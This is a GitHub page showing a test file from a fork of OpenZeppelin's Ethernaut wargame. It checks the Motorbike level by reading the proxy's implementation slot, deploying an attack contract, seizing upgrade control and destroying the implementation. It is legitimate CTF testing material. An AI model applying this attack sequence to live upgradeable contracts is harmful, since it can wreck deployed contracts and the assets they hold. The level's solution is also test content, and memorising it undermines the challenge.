forked from OpenZeppelin/ethernaut
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Motorbike.test.js
78 lines (65 loc) · 2.04 KB
/
Motorbike.test.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
const Motorbike = artifacts.require('./levels/Motorbike.sol');
const MotorbikeFactory = artifacts.require('./levels/MotorbikeFactory.sol');
const MotorbikeAttack = artifacts.require('./attacks/MotorbikeAttack.sol');
const Ethernaut = artifacts.require('./Ethernaut.sol');
const {
BN,
constants,
expectEvent,
expectRevert,
} = require('openzeppelin-test-helpers');
const utils = require('../utils/TestUtils');
const { ethers, upgrades } = require('hardhat');
contract('Motorbike', function (accounts) {
let ethernaut;
let level;
let owner = accounts[1];
let player = accounts[0];
let statproxy;
before(async function () {
ethernaut = await utils.getEthernautWithStatsProxy();
level = await MotorbikeFactory.new();
await ethernaut.registerLevel(level.address);
});
it('should fail if the player did not solve the level', async function () {
const instance = await utils.createLevelInstance(
ethernaut,
level.address,
player,
Motorbike
);
const completed = await utils.submitLevelInstance(
ethernaut,
level.address,
instance.address,
player
);
assert.isFalse(completed);
});
it('should allow the player to solve the level', async function () {
const instance = await utils.createLevelInstance(
ethernaut,
level.address,
player,
Motorbike
);
const address = await web3.eth.getStorageAt(
instance.address,
'0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc'
);
let string = '0x' + JSON.stringify(address).substr(27, 40);
string = web3.utils.toChecksumAddress(string);
const attacker = await MotorbikeAttack.new(string);
// ATTACK FIRST STEP: Take control over upgradeability functionality
await attacker.takeControl();
// ATTACK SECOND STEP: Destroy the implementation
await attacker.destroy();
const completed = await utils.submitLevelInstance(
ethernaut,
level.address,
instance.address,
player
);
assert.isTrue(completed);
});
});